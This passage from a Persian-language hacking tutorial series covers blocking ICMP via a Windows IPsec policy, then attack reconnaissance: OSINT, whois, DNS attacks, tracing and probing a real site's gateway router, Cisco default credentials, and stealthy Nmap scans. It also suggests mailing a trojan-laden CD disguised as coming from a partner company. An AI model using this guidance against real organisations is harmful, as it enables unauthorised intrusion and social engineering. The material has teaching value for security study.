3- در مرحله ی بعد چک باکس Active the Default response rule رو غیر فعال کنید و Next رو کلیک کنید.
4- در مرحله ی آخر چک باکس Edit Properties رو فعال نگه دارید تا بعد از کلیک روی دکمه ی Finish پنجره ی Properties مربوط به Policy باز بشه.روی Finish کلیک کنید!
حالا میرسیم به آخرین بخش،در پنجره ای زیر که الان رو به روی شما قرار داره پس از حصول اطمینان از فعال بودن چک باکس Use Add Wizard روی دکمه ی Add کلیک کنید.
پنجره ای که بعد از کلیک روی دکمه ی Add مقابل شما قرار میگیره آخرین Wizard ای هست که باید اطلاعات لازم رو بهش بدید.این Wizard رو هم مرحله به مرحله دنبال می کنیم.
1- در مرحله ی اول روی دکمه ی Next کلیک کنید.
2- در مرحله ی بعد هم بدون انجام تغییرات روی Next کلیک کنید.
3- در مرحله ی سوم، اولین دکمه ی رادیویی که All Network Connections هست رو انتخاب کنید و روی Next کلیک کنید.(با انتخاب این گزینه ی ترافیک ICMP بر روی تمام گذرگاههای Block خواهد شد.)
4- در مرحله ی بعد هم نیاز به انجام تغییری نیست،روی Next کلیک کنید.با کلیک روی Next در صورتی که کامپیوتر جزو یک Domain نباشه پنجره ای باز میشه که در اون Yes رو انتخاب کنید.
5- در این مرحله دکمه ی رادیویی All ICMP Traffic رو انتخاب کنید و Next رو بزنید.
6- در مرحله بعد دکمه ی رادیویی Block رو انتخاب کنید و روی Next کلیک کنید.
7- در مرحله ی آخر هم دکمه ی Finish رو بزنید و تمام...
اگر پنجره های اضافه رو ببندید و به پنجره ی اصلی توجه کنید میبینید که به صورت زیر یک Policy به نام Block ICMP به پنل راست صفحه اضافه شده.
حالا در مرحله نهایی باید این Policy رو فعال کنیم.برای فعال کردن هر Policy باید به صورت زیر روی اون راست کلیک و گزینه ی Assign رو انتخاب کنید.
بعد از انتخاب Assign در سطر مربوط به Block ICMP در ستون Policy Assigned کلمه ی Yes نوشته میشه بدین معنا که این Policy فعال هست.حالا اگر از روی هر کامپیوتری اقدام به Ping کردن کامپیوتر شما و یا کامپیوترهایی که از طریق کامپیوتر شما به شبکه متصل هستند بکنند تنها پاسخی که دریافت میکنند Request timed out هست.بدین معنا که بر روی IP ای که در حال Ping کردنش هستید کامپیوتری جهت پاسخگویی وجود نداره.
حالا اگر دوباره مایل باشید ICMP رو فعال بکنید می تونید روی Policy ای که درست کردید راست کلیک کنید و گزینه ی Un-assign رو انتخاب کنید
به امید خدا , قصد داریم كه آموزشهای هك رو از ابتدا تا اونجایی كه بلد هستیم , به صورت طبقه بندی شده و كاربردی ارائه بدیم . اگرچه فكر میكنم كه تكمیل این مجموعه چندین ماه طول بكشه , اما مطمئنم كه یك مجموعه ی خوب و ارزشمند , و بومی شده برای ایرانی های عزیز , خواهیم داشت .
دوستان و علاقمندانی كه تمایل دارند كه دانش و تجربیات خودشون رو در این مورد در اختیار بذارن , میتونند بر اساس همین طبقه بندی , در تكمیل آموزشها با دوستانشون همكاری كنند .
و اما :
قبل از شروع هر حمله ي هدفمند ، لازم هست كه يك سري اطلاعات پايه نسبت به هدف بدست بياريم . معمولاً سازمانها ، يا به طور كل اهداف موجود در اينترنت يا شبكه هاي محلي ، بر اساس سطح مهارت و توانايي هاشون ، يك سري پروسه ها انجام ميدن تا خودشون رو ايمن كنند ،اما معمولاً فراموش ميكنند كه با همه ي كارهايي كه انجام دادند ، باز هم اطلاعات خيلي مهمي وجود داره كه مورد علاقه ي هكرها هست و به راحتي در دسترس هست . در ميون هكرهاي حرفه اي اين جمله معروف هست كه :
از ديد امنيتي ، اين بخش خيلي مهم ميتونه باشه ، چون اگر ما بدونيم كه معمولاً چه نوع اطلاعاتي براي هكرها جالب توجه هست ، ميتونيم تا اونجا كه ممكن هست از انتشار اين اطلاعات جلوگيري كنيم .
مراحل جمع آوري اطلاعات
به طور كلي ، جمع آوري اطلاعات در 7 مرحله قابل اجرا هست . اين كه ميگيم 7 مرحله ، به اين معني نيست كه بايد از مرحله يك شروع بشه و هفت مرحله به ترتيب اجرا بشه . اين جور طبقه بندي ها ، در علم هك ، معمولاً جهت نظم دادن و ايجاد يك روال منطقي در آموزش و يادگيري به وجود اومده ، وگرنه در عمل ممكنه همه ي اين مراحل در يك حركت انجام بشه . چون هدف اين سايت ارائه مطالب هم به صورت علمي و هم كاربردي هست ، اينجور طبقه بندي ها مورد بحث قرار ميگيره .
در تست هاي امنيتي يا pen test ها ، يك حالت وجود داره كه به اون Black Box ميگن . در اين حالت ، شخصي كه تست رو انجام ميده ، هيچ اطلاعاتي در مورد هدف نداره ، جزء يك اسم . در اين حالت كه سخت ترين حالت تست هست ، مرحله ي جمع آوري اطلاعات خيلي مهم و مرحله به مرحله انجام ميشه .
مرحله ي اول : Initial Information يا اطلاعات اوليه
حداقل اطلاعاتي كه براي شروع يك حمله احتياج هست رو Initial Information ميگند . اين اطلاعات حداقل ، شامل يك آدرس IP يا يك اسم دامنه هست .
يك نكته كه براي خيلي از افرادي كه وارد يادگيري دوره هاي هك ميشن ايجاد مشكل ميكنه اينه كه ، اين مراحل هك كه در مقالات ، كتابها و سايتها مطرح ميشه ، اصولاً براي هك كردن شبكه ها يا سازمانهايي هست كه داراي Server يا سايت هستند . اين روشها ، در بعضي مراحل ، براي هك كردن كاربران خانگي يا سيستم هايي كه سرويس دهنده نيستند ، مصداق پيدا نمي كنه . اگر چه من فكر ميكنم كه بحث هك Server يا Client يك بحث مطرح شده توسط ايراني ها هست ، اما به نظر من به جاي خودش بحث مهمي هست ، و فكر ميكنم كه اصولاً كسي كه هك رو به صورت درست و اصولي ياد بگيره ، به راحتي ميتونه روي هر دو مبحث كار كنه . بنابرين در حال حاضر بحث ما روي client ها نيست .
وقتي فقط يك اسم داريم ، شروع كار براي بدست آوردن اطلاعات اوليه ، جستجو در اينترنت هست . با جستجو در اينترنت و استفاده از توانايي هاي دكتر گوگل ، و البته به خرج دادن كمي ابتكار در نحوه ي جستجو ، آدرس سايت شركت مورد نظر بدست مياد . نكته اي كه اينجا مطرح هست ، هدف ما از هك كردن هست . اگر هدف تنها تغيير چهره ي سايت (Deface) يا نفوذ از طريق Web Application ها باشه ، بدست آوردن آدرس سايت ، پايان اين مرحله خواهد بود . نكته اي كه اين جا وجود داره اينه كه خيلي از سازمانها و شركتها ، براي ارائه سرويسهاي تحت وب خودشون ، سرور اختصاصي ندارند و از امكانات ميزباني استفاده ميكنند . بنابرين در اين موارد و در حالتي كه هدف ما نفوذ به شبكه داخلي ، يا سرورهاي داخلي يك سازمان هست ، آدرس وب سايت و آدرس IP متعلق به وب سرور ، به معني بدست آوردن اطلاعات اوليه لازم براي اون هدف خاص نيست . در اينجور موارد ، مطالعه دقيق محتواي سايت خيلي راه گشا خواهد بود . فقط مهم اين هست كه شخصي كه محتواي سايت رو مطالعه ميكنه ، روي تكنيكهاي متنوع هك تسلط كافي و همچنين قدرت ابداع تاكتيك ( تركيب تكنيكها ) رو داشته باشه . يعني بدونه كه دنبال چي ميگرده و چه اطلاعاتي ميتونه بدرد بخور باشه . قطعاً شخصي كه در هك مبتدي هست و تكنيكها رو به خوبي نشناخته ، نمي تونه نكته ي جالب توجهي از محتواي يك سايت بدست بياره .
بنابرين بر اساس هدف از هك كردن ، 2 تا مسير در بدست آوردن Initial Information ايجاد ميشه :
1 – مسير اول :
هدف : Deface يا نفوذ از طريق Web Application
مراحل : پيدا كردن آدرس وب سايت هدف ، پيدا كردن آدرس IP سرور ميزبان سايت مورد نظر با استفاده از دستور ping ( با توجه به توانايي هاي ابزارهاي scan موجود ، احتياجي به ping نيست و آدرس وب سايت كافي هست ) . رفتن به مرحله Scan يا پويش براي بدست آوردن باگهاي امنيتي
شكست : در صورت عدم موفقيت در رسيدن به هدف ، برگشت به مرحله جمع آوري اطلاعات و ادامه ساير مراحل جمع آوری اطلاعات
2 – مسير دوم :
هدف : نفوذ به شبكه ي داخلي يك سازمان
مراحل : پيدا كردن آدرس وب سايت هدف ، بررسي محتواي وب سايت جهت جمع آوري مفيد
اين مرحله ، برخلاف بي توجهي ، بسيار مهم و كارآمد ميتونه باشه . بنابرين شرح بيشتري روي مراحل اين مسير ميدم . يك سري اطلاعات در يك سايت يا در كل محتواي اينترنت موجود هست كه اصطلاحاً به اونها Open Source Information ميگن. اين نوع اطلاعات ، اطلاعاتي هستند كه هر شخصي ميتونه به اونها دسترسي داشته باشه و بدست آوردن و آناليز اونها ، منع قانوني نداره . به همين علت ، صاحبين اين اطلاعات ، بدون واهمه و اهميت دادن ، اين اطلاعات رو در اختيار عموم ميزارن . البته در بعضي موارد ، چاره اي جزء اين نيست . در زير بعضي از اينگونه اطلاعات و كاربردهاي اونها رو شرح ميدم . دقت كنيد كه ما هنوز در مرحله Initial Information هستيم و فقط يك آدرس وب سايت داريم . يكي از اطلاعات مهم ، شماره تلفن ، يا تلفن هاي اون سازمان هست . مورد استفاده ي اون هم در مهندسي اجتماعي و يا war dialing هست . ( جزييات استفاده از هر تكنيك رو در مراحل مربوط به اون تكنيك توضيح خواهم داد )
مورد بعد ، محل فيزيكي يا location هدف هست . اين مورد هم در مهندسي اجتماعي مورد كاربرد داره . بعضي از سايتها ، اطلاعاتي در مورد بعضي از پرسنل در اختيار ميذارن . اين اطلاعات شامل اسم ، عنوان شغلي ، ميزان تحصيلات و به احتمال زياد ، آدرس ايميل اون شخص هست . همه ي اين اطلاعات ميتونند در تكنيكهاي تركيبي كه معمولاً با مهندسي اجتماعي شروع ميشن ، مورد استفاده قرار بگيره .
بعضي وقتها ، البته به ندرت ، ديده شده كه بعضي از سازمانها ، از داخل وب سايتشون يك لينك به يكي از سرورهاي داخليشون ، كه معمولاً Interanet Web Server هست ، قرار ميدن ، كه خيلي از كارها رو براي يك هكر راحت ميكنه . معمولاً اينجور لينكها شامل يك IP Address هست كه دقيقاً همون چيزي هست كه دنبالش بوديم .
يكي ديگه از مواردي كه بايد مورد بررسي قرار بگيره ، شركتها و سازمانهايي هست كه با سازمان هدف داراي ارتباط تجاري يا خدماتي هستند . ممكنه اسامي و لينك اين سايتها در وب سايت هدف موجود باشه و اگر موجود نباشه ، با يك جستجو در گوگل به شكل :link و به دنبالش آدرس سايت هدف ، آدرس تمام سايتهايي كه به سايت هدف لينك دارند ، قابل شناسايي هست . به دست آوردن اطلاعات مربوط به اين شركتهاي مرتبط به هدف ، در اجراي تكنيكهاي مهندسي اجتماعي ، خيلي ميتونه مفيد باشه . كافيه كه شما يك CD آلوده به يك تروجان يا هر Spyware كه قابليت نصب اتوماتيك رو داشته باشه ، از آدرس شركت A كه با شركت B كه هدف شما هست ، ارتباط كاري داره ، ارسال كنيد و اميدوار باشيد كه يك نفر در شركت B ، اين CD آلوده رو استفاده كنه .
به هر صورت تكنيك هايي كه همراه با مهندسي اجتماعي هست ، هميشه با ريسك عدم موفقيت همراه هست .
يكي ديگه از نكاتي كه بايد در اين مرحله مورد توجه قرار بگيره ، اينه كه در يك وب سايت ، ما به صفحاتي كه داراي لينك در اون سايت هستند ، دسترسي داريم ، اما ممكن هست صفحات يا فايل هاي ديگه اي روي فضاي مربوط به اون سايت موجود باشه كه لينكي نداشته باشه . اين صفحات يا فايلها معمولاً داراي اطلاعات با ارزشي هستند . گاهي اوقات با حدس زدن نام اين صفحات و فايلها ميشه به محتواي اونها دسترسي پيدا كرد .
قدم بعدي در اين مرحله ، استفاده از whois براي بدست آوردن اطلاعاتي در رابطه با سايت هست . اين اطلاعات در بعضي از موارد شايد راه گشا باشه . بنابرين بدست آوردن اين اطلاعات ، ضرري نداره . معمولاً براي whois گرفتن از دامنه هاي com و net علاوه بر نرم افزار SamSpade ، از سايتهاي whois هم ميشه استفاده كرد . براي دامنه هاي ir هم از سايت whois.nic.ir ميشه استفاده كرد . در صفحه اطلاعات مربوط به whois ، آدرس DNS ها خيلي مهم هست . معمولاً آدرس Name Server ها ، در انتهاي صفحات whois نمايش داده ميشه .
ادامه دارد ...
بحث تا جايي ادامه پيدا كرد كه ما با استفاده از whois ، اطلاعاتي در مورد سايت بدست آورديم . در ايران ، چون صاحبين سايتها ، امكان ثبت مستقيم دامنه ي مورد نظر خودشون رو ندارند ، اين كار رو به عهده ي يك سري از شركتها ميسپرند ، و معمولاً اطلاعات داخل بانك اطلاعاتي دامنه ها ، اطلاعات شركت ثبت كننده هست ، نه اطلاعات صاحب سايت . ( بعضي از اين فيلدها قابل تغيير هستند ، اما خيلي ها اون رو تغيير نميدند ) . اما گفتيم كه در بين اطلاعاتي كه از whois بدست مياد ، آدرس DNS ها خيلي مهم هستند . بنابرين قبل از اينكه مراحل بعدي جمع آوري اطلاعات رو ادامه بديم ، در اين مقاله بر روي DNS ها مكث مي كنيم .
چرا DNS مهم هست ؟ DNS يكي از كامپونت هاي اصلي اينترنت هست . پس هر جا كه اينترنت هست ، DNS هم هست . مايكروسافت DNS رو يكي از كامپونت هاي اصلي AD قرار داده و اين نشون دهنده ي اهميت اين سرويس هست . از نظر ما ، اين سرويس به خاطر اين گستره ي كاربري ، ميتونه جالب باشه . اگر يه سازماني بخواد اجازه دسترسي به اينترنت رو بده ( كه همه اين كار رو ميكنند ) ،بايد اجازه خروج و ورود query هاي DNS رو به شبكه داخلي سازمان بده . و اين ميتونه خيلي معني داشته باشه . پس بهتره كمي DNS ها رو بهتر بشناسيم .
همونطور كه ميدونيد ، وظيفه ي اصلي DNS ها ، ترجمه ي آدرس دامنه ها به آدرس IP هست . سازمان جهاني IANA ( بخوونيد يانا ) ، روي اسمها و آدرسها نظارت داره و اونها رو مديريت ميكنه . DNS ها از يك ساختار سلسله مراتبي استفاده ميكنند . بنابرين بالاترين سطح DNS ها رو Root Level DNS ميگند . شبكه اينترنت وابسته به 13 سرور Root Level هست ، كه اسم ، آدرس و موقعيت اونها رو ميتونيد در آدرس http://www.root-servers.org ببينيد . اين 13 سرور ، به شدت محافظت ميشند . يعني از نظر فيزيكي ، در حد پايگاه هاي نظامي و از نظر امنيت خود سرورها ، در بالاترين حد قرار دارند . به طوري كه سيستم عامل مورد استفاده در اين سرور ها ، يك نوع خاص از يونيكس هست كه مشابه اون در جاي ديگه وجود نداره . اين مسئله نشون دهنده ي اهميت DNS ها هست . ولي با اين وجود ، و به همين دليل مهم بودن ، تكنيكهاي مختلفي براي سو استفاده از DNS ها وجود داره . قبل از اينكه اين تكنيكها رو شرح بدم ، بايد با روش كار DNS آشنا باشيد . بهترين راه فهميدن نحوه ي كار DNS اين هست كه با يك مثال واقعي اون رو بررسي كنيم . وقتي ما به اينترنت وصل ميشيم ، در حقيقت يك كامپيوتر از يك شبكه داخلي ميشيم كه ISP ارتباط ما رو مديريت ميكنه . در اين حالت ، ما از DNS داخلي ISP استفاده ميكنيم . DNS مثل يك دفترچه راهنماي تلفن ميمونه كه بايد بتونه شماره تلفن هر شخص رو بر اساس نام اون شخص پيدا كنه . واضح هست كه مدير يك ISP محلي در تهران ، نميتونه همه ي شماره تلفن ها يا آدرس IP ها رو براي همه ي نامهاي موجود در اينترنت ، براي DNS خودش تعريف كنه . بنابرين DNS يك ISP محلي ، چيزي نيست جز يك واسطه .اين DNS ها ، فقط تعداد كمي ركورد مربوط به ماشينهاي داخل شبكه خودشون و قابليت cache كردن ركوردها و بعضي اطلاعات رو براي بالا بردن سرعت دارند . اين نوع DNS ها رو Non- authoritative ميگند . وقتي ما در برازر خودمون يك آدرس رو تايپ ميكنيم ، مثل www.imenafza.net ، برازر درخواست تبديل اين اسم رو به شماره IP ، ميفرسته براي DNS مربوط به ISP ما . حالا اگر قبلاً DNS ما ، چنين درخواستي رو داشته ، و اون رو cache كرده باشه ، شماره ip رو براي ما برميگردونه ، و در غير اين صورت ، درخواست رو براي DNS بالاتر از خودش ميفرسته . اين ارسال درخواست ها به صورت سلسله مراتبي ادامه پيدا ميكنه ، و اگر در هر مرحله درخواست نا موفق بود ، نهايتاً به DNS هاي سطح بالاتر ميرسه كه به اونها authoritative ميگند . اگر اين DNS ها هم نتونند ، ركوردي براي درخواست مورد نظر پيدا كنند ، اون رو براي root ها ميفرستند و اگر باز هم ركوردي پيدا نشد ، نتيجه ميگيريم كه دامنه ي مورد درخواست ما ثبت نشده و وجود نداره . اين يك شماي خيلي ساده شده از روش كار DNS ها بود.
اما مشكلات اين ساختار سلسله مراتبي چي هست ؟ واضح هست كه همه ي مشكلات در همين ارسال و دريافت اطلاعات بين DNS ها نهفته هست .
يكي از مشكلات قديمي كه فكر ميكنم در حال حاضر فقط بايد در حد اطلاعات عمومي باهاش آشنا باشيم ، Zone Transfer هست . داستان اين Zone Transfer هم اين هست كه همه جا ، به خاطر اهميت سرويس DNS ، از حداقل دو تا DNS استفاده ميشه كه اولي master يا primary هست و وظيفه ترجمه آدرس ها رو داره ، و دومي slave يا secondary هست و وظيفه كمكي رو داره . حالا طبق اصول مديريتي شبكه ، اطلاعاتي كه در DNS اولي هست ، بايد طبق يك برنامه زمان بندي شده ، يا درخواست مستقيم DNS دومي ، به DNS دوم هم منتقل بشه كه اين DNS هم اطلاعاتش به روز باشه . حالا اگر تنظيمات در سرور DNS اول طوري باشه ، كه اين اطلاعات درخواستي رو براي هر سيستمي كه درخواست كرد ، بفرسته ، مشكل Zone Transfer داره ، و اگر يك همچين سروري پيدا بشه ، هكر ميتونه تمام اطلاعات ركورد شده روي اون DNS رو كه شامل آدرس هاي خصوصي اون شبكه هم ميشه رو بدست بياره و به اين شكل اطلاعات كاملي از شبكه ي هدف به چنگ بياره . براي جلوگيري از اين حالت بايد سرور اصلي رو به گونه اي تنظيم كرد كه فقط اطلاعات رو براي آدرس سرور دوم بفرسته و به درخواست هاي ديگه پاسخ نده . جهت اطلاع هم بايد بگم كه دو نوع Zone Transfer داريم . يكي Full يا AXFR كه تمامي اطلاعات ارسال ميشه و ديگري هم Incremental يا IXFR كه آخرين تغييرات بعد از آخرين ارسال ، ارسال ميشه .
يكي ديگه از مشكلات ساختاري DNS ها ، كه نسبت به قبلي متداول تر هست ، DNS Spoofing هست . در اين حالت ، درخواست كننده به جاي اينكه به آدرس صحيح ارجاع داده بشه ، به يك آدرس غلط فرستاده ميشه . اين نوع حملات به چند روش قابل اجرا هست . همونطور كه در بالا اشاره كرديم ، در مسير سلسله مراتبي ، تعدادي DNS ممكنه وجود داشته باشه كه كارشون cache كردن هست . اگر يك هكر بتونه اطلاعات غلطي رو به جاي اطلاعات صحيح وارد cache اين سرورها بكنه ، ميتونه درخواستهاي بعدي براي يك سايت خاص رو كه از اون DNS ميگذرند رو به يك آدرس ديگه منحرف كنه . اين حملات به DNS Cache Poisoning معروف هستند.
حالت ديگه ميتونه اين باشه كه هكر يك جايي بين درخواست كننده و سرور DNS قرار بگيره و به ترافيك گوش بده ، و هر وقت متوجه درخواستي شد ، قبل از اينكه DNS به اون درخواست جواب بده ، جواب غلط رو براي درخواست كننده بفرسته و اون رو به آدرس ديگه اي ارجاع بده . به اين حالت Spoofing DNS Response ميگند .
حالت سوم ميتونه اين باشه كه هكر كنترل يك DNS رو در دست بگيره و ... . به اين حالت DNS Server Compromise ميگند .
خب ، به نظر ميرسه كه مباحث مربوط به DNS تموم شده باشه . اما اينطور نيست. جالب ترين بخش داستان DNS ها ، استفاده از اونها در حملات SQL Injection هست . حتماً مي پرسيد كه DNS چه ربطي به SQL Injection داره ؟
موضوع اينجاست كه MS SQL و Oracle يك سري توابع و پروسيجر دارند كه ميتونند مستقيم يا غير مستقيم با DNS ها كار كنند و اطلاعات بگيرند . بعضي از اين دستورات و توابع با كاربر public هم قابل اجرا هستند و به بعضي از اونها هيچ اشاره اي در راهنما هاي hardening در ايمن سازي بانكهاي اطلاعاتي نشده . چون اين روش خيلي پيچيدگي داره ، من اون رو در بخش " حملات تحت وب " و SQL Injection بررسي ميكنم ، اما علاقمندان ميتونند به ارائه ي آقاي "پاتريك كارل سن" در كنفرانس Defcon 15 ، تحت عنوان SQL Injection & OOB Channels مراجعه كنند .
در درس بعدی , مراحل بعدی جمع آوری اطلاعات رو ادامه میدیم .
در ادامه ي مبحث جمع آوري اطلاعات ، به مراحلي ميرسيم كه بايد براي بدست آوردن اطلاعات ، بايد با سيستم هدف درگير بشيم . در مراحل قبلي ، فعاليت هاي ما ، تعاملي با سيستم هدف نداشت و حساسيتي هم روي اون وجود نداشت . اين جور شناسايي ها رو اصطلاحاً passive ميگند . اما از اينجا به بعد ، فعاليتهاي ما active ميشه . بنابرين از اين مرحله به بعد ، هميشه امكان اينكه ما شناسايي يا ره گيري بشيم و يا اينكه هدف متوجه بشه كه تحت حمله يا تهديد هست ، وجود داره .
همونطور كه در مقالات قبلي اشاره شد ، شناسايي و جمع آوري اطلاعات در مورد هدف، شامل 7 مرحله ميشه كه مرحله ي اول رو بررسي كرديم . 6 مرحله ي بعد به طور كل در مورد تكنيكها ، روشها ، انواع و ابزارهاي اسكن يا پويش بحث ميكنه و ما هم هدفمون اينه كه در مبحث اسكن كردن ، كه خيلي هم مهم هست ، بيشتر صحبت كنيم و تا اونجا كه ممكن هست ، اين بحث رو كاربردي پيش ببريم .
ابتدا يك نگاه سريع به 6 مرحله ، از نظر آكاداميك ميكنيم :
1 – پيدا كردن آدرسهاي شبكه با استفاده از trace كردن
2 – پيدا كردن سيستم هاي فعال با استفاده از ping كردن
3 – پيدا كردن پورت هاي باز يا نقاط دسترسي روي سيستم هدف با استفاده از پورت اسكنرها يا اسكنرهاي مودم
4 – پيدا كردن سيستم عامل هدف
5 – پيدا كردن سرويسهاي فعال بر روي پورتهاي باز و نقاط ضعف امنيتي اين سرويسها با استفاده از اسكنر باگهاي امنيتي
6 – طراحي يك نقشه نفوذ بر اساس آناليز اطلاعات بدست اومده در كليه مراحل قبل
مراحل بالا ، مراحلي هستند كه يك هك واقعي كه ميخواد از راه دور اجرا بشه ، به اونها نياز داره . اما نحوه ي اجرا در حالت واقعي ، هميشه به اين شكل نيست . اجرا تا حد زيادي به مهارت و تجربه ي هكر بستگي داره . به طور مثال ، در هك از طريق مشكلات امنيتي برنامه هاي كاربردي تحت وب ، ممكنه يك هكر با ديدن يك وب سايت ، متوجه برنامه كاربردي سازنده محتواي اون وب سايت بشه و نقاط ضعف اون رو بدونه و يك راست بره سراغ اكسپلويت كردن اون سايت . و اين خيلي خوبه ، چون بيخود شلوغ بازي نميشه .
اما توضيح مراحل به صورت كاربردي تر . در مرحله ي اول اين بخش ، استفاده از trace عنوان شده . trace كردن بيشتر براي پيدا كردن دروازه ي ورودي يك شبكه كاربرد داره . البته ميدونيم كه trace و ping هر دو از پروتكل icmp استفاده ميكنند و خيلي از سازمانها، اين پروتكل رو ********** ميكنند . اما اگر اين كار هم انجام داده باشند ، حداقل ميفهميم كه يك ابزار ********** كننده مثل روتر يا فايروال در مسير ما وجود داره . يك مثال از trace رو در زير مي بينيم :
C:\>tracert 208.69.56.184 Tracing route to www.imenafza.net [208.69.56.184] over a maximum of 30 hops: 1 <1 ms <1 ms <1 ms mygateway1.ar7 [192.168.1.1] 2 732 ms 648 ms 550 ms vpdn-router.core-local.shahrad.net [81.12.75.7] 3 798 ms 798 ms 798 ms core-2851.shahrad.net [81.12.75.1] 4 889 ms 748 ms 847 ms 192.168.26.1 5 1000 ms * 809 ms fe1-1.mar******.noc.tehran.sinet.ir [62.220.99.21 ] 6 860 ms 748 ms 553 ms fe1-0.marco.bb.noc.tehran.sinet.ir [62.220.101.1 81] 7 709 ms 698 ms 904 ms fe0-1.orion.bb.noc.tehran.sinet.ir [62.220.100.1 ] 8 899 ms * 806 ms vlan101.lct5.bb.lct.i.tehran.sinet.ir [62.220.96 .114] 9 853 ms 804 ms * pos4-12.ar03.ldn01.pccwbtn.net [63.218.52.33] 10 * 806 ms 798 ms pos12-2.br02.ldn01.pccwbtn.net [63.218.12.234] 11 992 ms 1195 ms 1096 ms vl236.mpd01.lon01.atlas.cogentco.com [130.117.0. 13] 12 1199 ms * 1124 ms te7-3.mpd02.lon01.atlas.cogentco.com [130.117.2. 26] 13 1149 ms 1051 ms 1250 ms te3-2.mpd01.bos01.atlas.cogentco.com [130.117.0. 185] 14 904 ms 802 ms * te3-4.mpd01.yyz01.atlas.cogentco.com [154.54.5.1 18] 15 * 1076 ms 1096 ms vl3492.mpd01.yyz02.atlas.cogentco.com [154.54.5. 82] 16 1094 ms 1046 ms 1000 ms voicom-inc.demarc.cogentco.com [38.104.158.26] 17 1048 ms 854 ms 649 ms cirrustech-gw.iptransit.ca [208.69.240.86] 18 * * * Request timed out. 19 * * * Request timed out. 20 * * * Request timed out. 21 * * * Request timed out.22 * ^Cخب ، اطلاعاتي كه براي ما مهم هست ، از خط 17 به بعد هست . همونطور كه متوجه شديد ، هدف ما 208.69.56.184 بود . خط 17 اشاره به يك ماشين به آدرس 208.69.240.86 ميكنه ، كه با توجه به آدرسها ، ميشه حدس زد كه اين بايد gateway هدف ما باشه . بعد از خط 17 هم trace ما ********** شده ، كه نشون ميده يك ماشين ********** كننده جلوي هدف ما وجود داره . براي اطمينان بيشتر به آدرس 208.69.240.86 با telnet وصل ميشيم . از ما كلمه ي عبور ميخواد ، پس به احتمال خيلي خيلي زياد ، اين يك روتر هست . اما هيچ بنري وجود نداره كه دقيقاً مطمئن شيم . اگر دروس مربوط به ايمن سازي روترهاي سيسكو رو مطالعه كرده باشيد ، گفتيم كه خيلي از ادمين ها ، براي راحتي مديريت روتر ، سرويس http رو فعال ميكنند . بنابرين ما در برازر خودمون وارد ميكنيم http://208.69.240.86 و شكل زير رو مي بينيم .
خب ، با يك جستجوي ساده در اينترنت متوجه ميشيم كه اين ماشين يك روتر سيسكو هست كه سرويس sdm يا security device manager روي اون نصب شده . اين سرويس در حالت پيش فرض از نام كاربري و كلمه ي عبور cisco استفاده ميكنه . كه البته در اين مورد تغيير داده شده .
در مورد ping هم چيز زيادي وجود نداره . چون icmp بر اساس پيغام ها كار ميكنه ، در حالتهاي مختلف ، پيغام هاي مختلفي ايجاد ميشه كه معاني متفاوتي داره . در مثال بالا پيغام request time out به معني اينه كه درخواست ما به هدف نرسيده و جوابي براش نيامومده كه میتونه معنی ***** شدن یا خاموش بودن سیستم هدف رو بده كه با توجه به up بودن هدف , معنی اول بدست میاد .
در مقالات بعدی این مبحث رو ادامه میدیم .
بنام خدا
در ادامه مبحث شناسايي هدف ، ميرسيم به بخش اسكن كردن سيستم هدف براي پيدا كردن پورتهاي باز و برنامه هاي در حال اجرا و پيدا كردن نقاط دسترسي راه دور .
همونطور كه قبلاً هم اشاره شد ، هنگام اسكن كردن ، اگر اينكار رو بي ملاحظه انجام بديم ، خيلي راحت حمله ي ما شناسايي ميشه . ممكنه كه در كشور ما ، اين نكته خيلي مهم نباشه ، اما وقتي شما بدون در نظر گرفتن مخفي بودن شروع به اسكن كردن يك سيستم متعلق به يك سازمان ميكنيد ، آدرس IP شما ، در سيستم هدف ثبت ميشه . بعد اون سازمان بلافاصله ISP كه شما از اون استفاده كرديد رو رد گيري ميكنه و براي اون ISP اخطار ميفرسته كه مثلاً يكي از كاربرهاي شما در فلان روز و فلان ساعت با آدرس IP فلان ، با استفاده از نرم افزار .... به سيستم هاي ما حمله كرده و ... . حالا ما چون در ايران هستيم و تابع قانون جهاني در اين مورد نيستيم ، اين اخطارها از طرف ISP پيگيري نميشه و بدست ما نميرسه . چون اين مسئله در خارج از ايران و در ديد كلي خيلي مهم هست ، تكنيكهاي متنوعي براي مخفي بودن مرحله اسكن كردن پورتها ابداع شده كه در ادامه قصد داريم اين تكنيك ها رو كه در نرم افزار Nmap ارائه شده ، بررسي كنيم .
وقتي اينترفيس Nmap رو نگاه ميكنيم ، بخش Scan Type جلب توجه ميكنه . اين بخش كه يك ليست انتخاب باز شو ، هست ، شامل گزينه هايي ميشه كه تكنيك اسكن پورت رو بر اساس قابليت هاي مختلف پروتكل tcp/ip و سرويس هاي اينترنتي، مشخص ميكنه . در ادامه قصد دارم كه اين تكنيكها رو به اختصار توضيح بدم .
SYN Stealth Scan
در اين تكنيك ، كه يك تكنيك مخفي هست ، ارتباط كامل با سيستم هدف بر قرار نميشه . يعني مراحل 3 Way Handshake به طور كامل اجرا نميشه . در اين روش ابتدا نرم افزار اسكنر ما ، يك بسته براي سيستم هدف با پورت مورد نظر كه فلگ SYN اون ست شده ( يا يك شده ) رو براي هدف ميفرسته . اگر پورت مورد نظر باز باشه ، سيستم هدف اين ارتباط رو ميپذيره و يك بسته ي پاسخ با فلگهاي SYN و ACK ست شده براي ما ميفرسته . تا اينجا نصف كار انجام شده . در حالت برقراري ارتباط واقعي، بايد در جواب اين بسته ، ما هم يك بسته يا فلگ ACK ست شده براي هدف ارسال كنيم ، اما در اين حالت ، ما فهميديم كه پورت باز هست ، بنابرين احتياجي به ادامه مراحل نيست و نرم افزار به جاي ارسال بسته ي ACK ، يك بسته با فلگ RST يا reset ميفرسته و ارتباط رو ميبنده . در اين روش ، چون ارتباط ما با سيستم هدف كامل نشده ، چيزي در سيستم هدف ثبت نميشه . سرعت اسكن هم بيشتر ميشه، اما به علت كامل نبودن برقراري ارتباط ، اطلاعات بيشتري نميتونيم از سيستم هدف بدست بياريم . در اين حالت اگر پورت مورد نظر ما بسته باشه ، سيستم هدف در جواب بسته SYN ما ، يك بسته ي ACK و RST ارسال ميكنه كه بدون جواب ميمونه و از نظر ما اون پورت بسته و ادامه ي ارتباط بي معني هست .
Connect Scan
اين تكنيك ، در حقيقت همون اسكن با 3 way handshake هست . ارتباط با هدف به صورت كامل بر قرار ميشه . آدرس IP ما ثبت ميشه ، اما اطلاعات كاملي از هدف بدست مياد .
ACK Scan
